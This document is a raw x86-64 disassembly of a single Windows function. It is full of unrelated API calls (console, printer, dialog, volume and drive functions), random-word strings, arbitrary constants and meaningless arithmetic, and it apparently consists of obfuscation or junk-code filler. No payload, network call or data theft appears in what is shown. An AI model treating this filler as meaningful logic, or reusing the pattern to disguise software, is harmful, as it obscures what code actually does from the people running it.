mov byte [rsp + 0x32], al
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
xor eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
jmp 0x1400f86e9
lea rdx, [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4d48]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov dword [rsp + 0x2970], eax
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x4ab4], al
cmp byte [rsp + 0x4ab4], 0x13
je 0x1400f8701
jmp 0x1400f8724
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movsx eax, word [rsp + 0x858]
movsx ecx, word [rsp + 0x840]
add eax, ecx
mov word [rsp + 0x84c], ax
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x858]
sar eax, cl
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov dword [rsp + 0x4ab8], eax
cmp dword [rsp + 0x4ab8], 0x488
je 0x1400f877f
jmp 0x1400f884c
movsx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4c60]
mov rcx, qword [rsp + 0x4b88]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x29bc]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x1400f880f
mov edx, 0x7d
mov ecx, 0x3d
call qword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
mov dword [rsp + 0x2998], eax
mov rax, qword [rsp + 0x4cd8]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x4b40]
mov r8d, dword [rax]
movzx edx, word [rsp + 0x854]
movzx ecx, word [rsp + 0x840]
call fcn.1400faaa0
nop
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
and eax, ecx
mov word [section..data], ax
lea rdx, str.Alternate_zither_blinds_pipers_lacunae
lea rcx, [rsp + 0x16af0]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
mov dword [rsp + 0x29bc], eax
jmp 0x1400f8869
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
jmp 0x1400f8986
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov rdx, qword [rsp + 0x4b90]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jbe 0x1400f88e5
mov eax, dword [rsp + 0x29bc]
movzx ecx, al
mov eax, dword [rsp + 0x2a20]
shl eax, cl
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4bf8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
jmp 0x1400f8986
mov rax, qword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x4ba0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov rcx, qword [rcx]
mov rdx, qword [0x140113008]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jae 0x1400f8986
lea r9, [rsp + 0x167d0]
lea r8, [rsp + 0x16a10]
lea rdx, [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4af0]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x2998], eax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x4b28]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
movzx r9d, byte [rsp + 0x30]
mov r8d, dword [rsp + 0x2a5c]
movzx edx, word [rsp + 0x854]
movzx ecx, word [rsp + 0x858]
call fcn.1400faaa0
nop
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x854]
sub eax, ecx
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x4bc0]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jle 0x1400f89e1
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x4b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov ecx, dword [rsp + 0x2a88]
call fcn.1400f92c0
nop
movzx eax, byte [rsp + 0x33]
movzx ecx, byte [rsp + 0x34]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
mov edx, 0xc7
lea rcx, [rsp + 0x16af0]
call qword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
mov dword [rsp + 0x2a88], eax
movzx eax, word [rsp + 0x854]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov word [rsp + 0x848], ax
jmp 0x1400f8afb
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x848]
sar eax, cl
movzx ecx, word [rsp + 0x854]
mov rdx, qword [rsp + 0x4bc0]
movzx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
jge 0x1400f8abd
movzx eax, word [rsp + 0x848]
mov dword [rsp + 0x4abc], eax
cmp dword [rsp + 0x4abc], 0xee0
je 0x1400f8a79
jmp 0x1400f8aa6
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x840]
and eax, ecx
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x4b70]
movzx ecx, word [rax]
call fcn.1400fa180
nop
jmp 0x1400f8abb
lea rcx, [rsp + 0x170f0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x4ac0], eax
jmp 0x1400f8afb
mov rax, qword [rsp + 0x4cb8]
cqo
idiv qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4c58]
mov rdx, qword [rsp + 0x4b80]
imul rdx, qword [rcx]
mov rcx, rdx
cmp rax, rcx
jle 0x1400f8afb
movsx eax, byte [rsp + 0x37]
movsx ecx, byte [rsp + 0x32]
sub eax, ecx
mov byte [rsp + 0x30], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x167a8], rax
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
jmp 0x1400f8bf7
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b40]
mov qword [rsp + 0x167b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x167b0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba0]
mov qword [rsp + 0x167b8], rax
movabs rax, 0x716b3f2c2ad869
cmp qword [rsp + 0x167b8], rax
je 0x1400f8b87
jmp 0x1400f8b89
jmp 0x1400f8bc1
mov edx, 0xad
lea rcx, [rsp + 0x169b0]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov qword [rsp + 0x4b60], rax
mov rax, qword [rsp + 0x4c60]
mov ecx, dword [rsp + 0x2a20]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x140113008], rax
movzx edx, word [rsp + 0x848]
mov rax, qword [rsp + 0x4bc8]
movzx ecx, word [rax]
call fcn.1400f9b20
nop
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x854]
sub ecx, edx
cmp eax, ecx
jne 0x1400f8cc4
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x84c]
sar eax, cl
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
lea rax, [rsp + 0x167d0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x4ac4]
mov r8d, 0xd3
mov rdx, qword [rsp + 0x167c0]
mov rcx, qword [rsp + 0x4b00]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov dword [rsp + 0x2970], eax
movzx eax, word [rsp + 0x844]
mov word [rsp + 0x854], ax
mov rax, qword [rsp + 0x4c70]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x4b40]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4b68]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4c98]
movzx ecx, word [rax]
call fcn.1400faaa0
nop
mov edx, 0xc7
lea rcx, [rsp + 0x16af0]
call qword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
mov dword [rsp + 0x2958], eax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b08]
mov qword [rsp + 0x167c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x167c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x37]
movsx ecx, byte [rsp + 0x32]
or eax, ecx
movsx ecx, byte [rsp + 0x30]
mov rdx, qword [rsp + 0x4c70]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
je 0x1400f8ddd
mov eax, dword [rsp + 0x2a20]
mov ecx, dword [rsp + 0x2a3c]
add ecx, eax
mov eax, ecx
mov dword [0x140114150], eax
movsx eax, word [rsp + 0x850]
mov dword [rsp + 0x4ac8], eax
cmp dword [rsp + 0x4ac8], 0x2b0
je 0x1400f8d6d
jmp 0x1400f8dd0
lea r8, [rsp + 0x29c4]
mov edx, 1
mov rcx, qword [rsp + 0x4b00]
call qword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
mov dword [rsp + 0x4ac0], eax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4cb8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b20], rax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
jmp 0x1400f8ddd
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x2980], eax
jmp 0x1400f8e0a
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b28], rax
mov ecx, dword [rsp + 0x2958]
call fcn.1400f92c0
nop
movsx eax, word [rsp + 0x84c]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x4c60]
mov rcx, qword [rsp + 0x4bb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
jmp 0x1400f8f04
movsx eax, byte [rsp + 0x30]
add eax, 0x2c
cmp eax, 0x34
jl 0x1400f8e5b
jmp 0x1400f8e8f
movabs rax, 0x7ae3614c5ec26c
cmp qword [rsp + 0x4b20], rax
je 0x1400f8e8f
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov dword [rsp + 0x29d8], eax
mov dword [rsp + 0x20], 0xd9
lea r9, [rsp + 0x16af0]
mov r8d, 0x91
lea rdx, str.Head_Mouthwash_oast
mov ecx, 0xb4
call qword [sym.imp.KERNEL32.dll_FoldStringW]
mov dword [rsp + 0x29f0], eax
movabs rax, 0x784d32b130c5a6
mov rcx, qword [rsp + 0x4b20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
lea rcx, [rsp + 0x16c70]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x2a6c], eax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x167a8]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [rsp + 0x2968], eax
mov eax, dword [rsp + 0x29bc]
or eax, 0x2368
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2980]
shr eax, cl
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
jmp 0x1400f8ff1
lea r9, [rsp + 0x2994]
mov r8d, 0x22
lea rdx, [rsp + 0x16cf0]
mov rcx, qword [rsp + 0x4af0]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x2970], eax
movzx eax, word [rsp + 0x844]
sub eax, 0x25e
mov word [rsp + 0x844], ax
mov qword [rsp + 0x20], 0x6a
mov r9d, 0xab
mov r8d, 0x7c
mov edx, 0x66
mov ecx, 0x69
call fcn.1400f9690
nop
lea rcx, [rsp + 0x168c0]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x2970], eax
mov eax, dword [rsp + 0x2958]
mov dword [rsp + 0x4acc], eax
cmp dword [rsp + 0x4acc], 0xd308
je 0x1400f9023
jmp 0x1400f9031
mov eax, dword [rsp + 0x2958]
mov dword [rsp + 0x2980], eax
movzx eax, word [rsp + 0x844]
and eax, 0xc83
mov word [rsp + 0x844], ax
movzx eax, word [rsp + 0x844]
imul eax, eax, 0x588
cmp eax, 0x5e9
jne 0x1400f9068
mov ecx, dword [rsp + 0x2980]
call fcn.1400f92c0
nop
lea rcx, [rsp + 0x16df0]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0x2994], eax
movzx eax, word [rsp + 0x844]
sub eax, 0xe29
mov word [rsp + 0x844], ax
mov dl, 0xc6
movzx ecx, word [rsp + 0x844]
call fcn.1400fa6b0
nop
mov eax, 0xc6
mov word [rsp + 0x840], ax
movzx eax, word [rsp + 0x844]
sar eax, 0xd
mov word [rsp + 0x844], ax
mov eax, dword [rsp + 0x3344]
add rsp, 0x173e8
pop rdi
pop rsi
ret